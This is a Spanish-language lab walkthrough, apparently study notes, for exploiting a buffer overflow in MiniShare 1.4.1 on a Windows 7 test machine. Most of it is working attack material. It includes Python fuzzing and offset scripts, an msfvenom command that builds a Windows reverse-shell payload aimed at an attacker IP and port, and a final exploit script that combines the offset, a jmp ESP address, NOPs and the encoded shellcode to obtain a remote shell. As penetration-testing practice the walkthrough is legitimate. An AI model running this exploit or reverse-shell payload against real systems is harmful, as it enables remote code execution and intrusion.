Este laboratorio será para reforzar lo visto en 1. Preparación del laboratorio para BOF hasta 7. Modificación del Shellcode para controlar el comando que se desea ejecutar por lo que vamos aplicar los mismo pasos, solo cambia el campo al cual vamos a explotar el bufferoverflow.

Vamos a practicar
...

Preparación del laboratorio
...

Para practicar vamos primer a descargarmos MiniShare ver.1.4.1, copiamos y pegamos el link de descargar que vamos a colocar a continuación mismo que al entrar descargará automáticamente el programa en el Windows 7 que vimos com instalar en 1. Preparación del laboratorio para BOF.

https://sourceforge.net/projects/minishare/files/OldFiles/minishare-1.4.1.exe/download?use_mirror=master&download=&failedmirror=jaist.dl.sourceforge.net

Pasted image 20231119182158.png

Nota: Voy a sobreentender que ya tienes instalado el Immunity Debugger sino nuevamente te diría que leas 1. Preparación del laboratorio para BOF donde se explica paso a paso la instalación.

Iniciamos el ataque de Buffer Overflow
...

Nota: Cada que crasheamos el programa MiniShare vamos a tener que volver a abrirlo y atacharlo al Immunity Debugger que también habremos cerrado y vuelto abrir para ese momento.

Fuzzing al campo vulnerable a BOF
...

Lo que vamos a hacer es un fuzzing al campo vulnerable a BOF para saber cuanto es la cantidad de bytes que requiere ese campo para que ocurra el BOF.

#!/usr/bin/python3


from struct import pack
import socket,sys


#Variables Globales
ip_address = "192.168.1.104"
port = 80


def exploit():
    
    total_length = 0


    while True:
        try:
	        # Vamos a sumar en cada iteración 100
            total_length += 100

            print(total_length)

            #Creamos el socket
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

            # Nos conectamos al servidor
            s.connect((ip_address,port))

			# Payload donde multiplicamos el total_length al caracter que enviaremos
            payload = b"GET /" + b"A" * total_length + b" HTTP/1.1 \r\n\r\n"

            # Enviamos la petición 
            s.send(payload)
            
            s.settimeout(7)

            # Recibimos el banner
            msg = s.recv(1024)

            # Cerramos la conexion
            s.close()

        except:
            print('\n[!] El programa ha crasheado correctamente.')
            print('\n[!] La cantidad en bytes fue de %d' % total_length)
            sys.exit(1)


if __name__ == "__main__":

    exploit()

Mediante este script descubrimeros los bytes requeridos para crashear el programa, así que ejecutamos el script con el MiniShare abierto.

Pasted image 20231119194953.png

Pasted image 20231119195015.png

Vemos que requerimos de 1800 bytes (o carácteres) para poder crashear el programa por lo que vamos a modificar el script para confirmar que tengamos control sobre el EIP.

Control sobre el EIP
...

Encontrar el offset mediante pattern create/pattern offset
...

Conociendo la cantidad de bytes que crashean el programa, vamos hacer uso de pattern create y pattern offset para poder conocer la cantidad exacta donde se crashea el programa por lo que vamos a realizar lo siguiente.

  • Creamos con pattern create un conjunto de 1800 caracteres y procedemos a hacer lo siguiente en el script. (Dejaré a continuación el script completo)

Pasted image 20231119195723.png

#!/usr/bin/python3


from struct import pack
import socket,sys


#Variables Globales
ip_address = "192.168.1.104"
port = 80
before_eip = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" 

payload = b"GET /" + before_eip + b" HTTP/1.1 \r\n\r\n"

def exploit():
    
    try:
        #Creamos el socket
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        # Nos conectamos al servidor
        s.connect((ip_address,port))


        # Enviamos la petición 
        s.send(payload)
        
        s.settimeout(7)

        # Recibimos el banner
        msg = s.recv(1024)

        # Cerramos la conexion
        s.close()

    except:
        print('\n[!] El programa ha crasheado correctamente.')
        sys.exit(1)


if __name__ == "__main__":

    exploit()
  • Ejecutamos el script. Teniendo abierto el immunity debugger y el minishare.

Pasted image 20231119200056.png

  • Nos dirigimos a la máquina víctima y copiamos la dirección del EIP que aparece en el Immunity Debugger.

Pasted image 20231119200207.png

  • Volvemos a nuestra máquina atacante y hacemos lo siguiente con la dirección copiada vamos a pegarla para obtener el offset exacto (cantidad de carácteres o bytes) que se requieren para crashea el programa.

Pasted image 20231119200449.png

Vemos que el offset es 1786 por lo que conocemos ese valor para poder ver si obtenemos control sobre el EIP.

Comprobar el control sobre el EIP
...

Control sobre el ESP
...

Eliminación de los badchars
...

Creación del shellcode
...

Para crear el shellcode vamos hacer uso de msfvenom, conociendo que los badchars para este binario son '\x00\x0d'

msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.1.140 LPORT=443 -f c -b '\x00\x0d' EXITFUNC=thread

Pasted image 20231119201356.png

Modificamos el script y aumentamos un NOPs para que el CPU de la máquina víctima pueda interpretar el shellcode que estamos enviando.

Dirección jmp ESP
...

Este caso es especial porque vamos a tener que hacer uso de !mona find wild 'jmp ESP', porque por el medio que vemos en 5. Búsqueda de OpCodes para entrar al ESP y cargar nuestro Shellcode nos sale que 0 pointer.

Pasted image 20231119201856.png

En casos aspi podemos hacer uso de find wild como lo vemos a continuación.

Pasted image 20231119202021.png

Copiamos la dirección de cualquiera de las que aparece, esperando a que no contenga los badchars que sabemos con anterioridad.

Pasted image 20231119202117.png

Esa dirección la vamos a pegar en el EIP usando pack para que automáticamente le de la vuelta.

Pasted image 20231119202522.png

#!/usr/bin/python3


from struct import pack
import socket,sys


#Variables Globales
ip_address = "192.168.1.104"
port = 80
before_eip = b"A"*1786
eip = pack("<L",0x76D6211B)
shellcode = (b"\xda\xcf\xbf\xa3\x26\x53\x04\xd9\x74\x24\xf4\x5d\x33\xc9"
b"\xb1\x52\x31\x7d\x17\x83\xed\xfc\x03\xde\x35\xb1\xf1\xdc"
b"\xd2\xb7\xfa\x1c\x23\xd8\x73\xf9\x12\xd8\xe0\x8a\x05\xe8"
b"\x63\xde\xa9\x83\x26\xca\x3a\xe1\xee\xfd\x8b\x4c\xc9\x30"
b"\x0b\xfc\x29\x53\x8f\xff\x7d\xb3\xae\xcf\x73\xb2\xf7\x32"
b"\x79\xe6\xa0\x39\x2c\x16\xc4\x74\xed\x9d\x96\x99\x75\x42"
b"\x6e\x9b\x54\xd5\xe4\xc2\x76\xd4\x29\x7f\x3f\xce\x2e\xba"
b"\x89\x65\x84\x30\x08\xaf\xd4\xb9\xa7\x8e\xd8\x4b\xb9\xd7"
b"\xdf\xb3\xcc\x21\x1c\x49\xd7\xf6\x5e\x95\x52\xec\xf9\x5e"
b"\xc4\xc8\xf8\xb3\x93\x9b\xf7\x78\xd7\xc3\x1b\x7e\x34\x78"
b"\x27\x0b\xbb\xae\xa1\x4f\x98\x6a\xe9\x14\x81\x2b\x57\xfa"
b"\xbe\x2b\x38\xa3\x1a\x20\xd5\xb0\x16\x6b\xb2\x75\x1b\x93"
b"\x42\x12\x2c\xe0\x70\xbd\x86\x6e\x39\x36\x01\x69\x3e\x6d"
b"\xf5\xe5\xc1\x8e\x06\x2c\x06\xda\x56\x46\xaf\x63\x3d\x96"
b"\x50\xb6\x92\xc6\xfe\x69\x53\xb6\xbe\xd9\x3b\xdc\x30\x05"
b"\x5b\xdf\x9a\x2e\xf6\x1a\x4d\x91\xaf\x25\x01\x79\xb2\x25"
b"\x18\xc1\x3b\xc3\x70\x25\x6a\x5c\xed\xdc\x37\x16\x8c\x21"
b"\xe2\x53\x8e\xaa\x01\xa4\x41\x5b\x6f\xb6\x36\xab\x3a\xe4"
b"\x91\xb4\x90\x80\x7e\x26\x7f\x50\x08\x5b\x28\x07\x5d\xad"
b"\x21\xcd\x73\x94\x9b\xf3\x89\x40\xe3\xb7\x55\xb1\xea\x36"
b"\x1b\x8d\xc8\x28\xe5\x0e\x55\x1c\xb9\x58\x03\xca\x7f\x33"
b"\xe5\xa4\x29\xe8\xaf\x20\xaf\xc2\x6f\x36\xb0\x0e\x06\xd6"
b"\x01\xe7\x5f\xe9\xae\x6f\x68\x92\xd2\x0f\x97\x49\x57\x2f"
b"\x7a\x5b\xa2\xd8\x23\x0e\x0f\x85\xd3\xe5\x4c\xb0\x57\x0f"
b"\x2d\x47\x47\x7a\x28\x03\xcf\x97\x40\x1c\xba\x97\xf7\x1d"
b"\xef")

payload = b"GET /" + before_eip + eip + b"\x90"*16 +shellcode + b" HTTP/1.1 \r\n\r\n"

def exploit():
    
    try:
        #Creamos el socket
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        # Nos conectamos al servidor
        s.connect((ip_address,port))

        # Enviamos la petición 
        s.send(payload)
        
        s.settimeout(7)

        # Recibimos el banner
        msg = s.recv(1024)

        # Cerramos la conexion
        s.close()

    except:
        print('\n[!] El programa ha crasheado correctamente.')
        sys.exit(1)


if __name__ == "__main__":

    exploit()

Obtención de la reverse shell
...

Nos ponemos en escucha por el puerto 443 que hemos colocado en el msfvenom y procedemos a ejecutar el script.

Nota: Debe estar abierto el minishare.

Pasted image 20231119202937.png

Pasted image 20231119203004.png

Hemos ejecutado un buffer overflow.